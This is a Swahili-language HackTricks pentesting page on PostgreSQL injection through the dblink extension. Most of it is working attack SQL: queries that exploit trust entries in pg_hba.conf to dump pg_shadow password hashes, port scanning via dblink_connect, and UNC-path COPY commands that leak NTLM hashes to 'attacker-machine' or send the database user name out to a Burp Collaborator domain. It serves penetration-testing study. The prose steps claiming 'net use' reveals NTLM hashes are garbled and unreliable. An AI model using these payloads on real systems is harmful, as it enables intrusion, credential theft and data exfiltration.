hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
2024-02-11 02:13:58 +00:00

7 KiB

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Pata mashambulizi zaidi kuhusu hizi katika karatasi ya asili.

Tangu PostgreSQL 9.1, ufungaji wa moduli za ziada ni rahisi. Extensions zilizosajiliwa kama dblink zinaweza kusakinishwa na CREATE EXTENSION:

CREATE EXTENSION dblink;

Baada ya kubeba dblink, unaweza kufanya mbinu kadhaa za kuvuka mamlaka:

Kuvuka Mamlaka

Faili pg_hba.conf inaweza kuwa imebadilishwa vibaya kuruhusu uhusiano kutoka localhost kama mtumiaji yeyote bila kuhitaji kujua nenosiri. Faili hii kawaida inapatikana katika /etc/postgresql/12/main/pg_hba.conf na muundo mbaya unaonekana kama ifuatavyo:

local    all    all    trust

Note kwamba hii mipangilio mara nyingi hutumiwa kubadilisha nenosiri la mtumiaji wa db wakati admin anasahau, kwa hivyo mara nyingi unaweza kuipata.
Note pia kwamba faili ya pg_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres.

Kesi hii ni muhimu ikiwa tayari una shell ndani ya mwathiriwa kwani itakuruhusu kuunganisha kwenye database ya postgresql.

Hitilafu nyingine inayowezekana ni kama ifuatavyo:

host    all     all     127.0.0.1/32    trust

Kwa kuwa itawaruhusu kila mtu kutoka localhost kuunganisha kwenye database kama mtumiaji yeyote.
Katika kesi hii na ikiwa kazi ya dblink inafanya kazi, unaweza kuongeza mamlaka kwa kuunganisha kwenye database kupitia uhusiano uliopo tayari na kupata data ambayo haipaswi kuwa na uwezo wa kufikia:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Uchunguzi wa Bandari

Kwa kutumia dblink_connect, unaweza pia kutafuta bandari zilizofunguliwa. Ikiwa kazi hiyo haifanyi kazi, unapaswa jaribu kutumia dblink_connect_u() kwa kuwa nyaraka zinasema kuwa dblink_connect_u() ni sawa na dblink_connect(), isipokuwa itaruhusu watumiaji wasio wa kiwango cha juu kuunganisha kwa kutumia njia yoyote ya uwakilishi.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Tafadhali kumbuka kwamba kabla ya kuweza kutumia dblink_connect au dblink_connect_u unaweza kuhitaji kutekeleza:

CREATE extension dblink;

Njia ya UNC - Kufichua Hash ya NTLM

Kuna njia ya kufichua hash ya NTLM kwa kutumia njia ya UNC (Universal Naming Convention). Njia hii inaruhusu mtu kufichua hash ya NTLM kutoka kwa seva ya mbali ambayo inasaidia itifaki ya SMB (Server Message Block).

Hatua za kufichua hash ya NTLM kwa kutumia njia ya UNC ni kama ifuatavyo:

  1. Tafuta seva ya mbali ambayo inasaidia itifaki ya SMB.
  2. Tumia amri ya net use kwenye mfumo wako ili kuunganisha kwenye seva ya mbali na kuingia kama mtumiaji wa kawaida.
  3. Tumia amri ya net use tena, lakini sasa tumia jina la mtumiaji na nenosiri la mtumiaji ambaye hash ya NTLM unataka kufichua.
  4. Baada ya kuunganisha kwenye seva ya mbali kama mtumiaji huyo, unaweza kutumia amri ya net use tena ili kuona hash ya NTLM iliyofichuliwa.

Ni muhimu kutambua kuwa njia hii inahitaji ufikiaji wa seva ya mbali na itifaki ya SMB. Pia, ni muhimu kuzingatia kuwa kufichua hash ya NTLM ni shughuli ya udukuzi na inaweza kuwa kinyume cha sheria ikiwa hufanyiki kwenye mifumo ambayo huna idhini ya kufanya hivyo.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: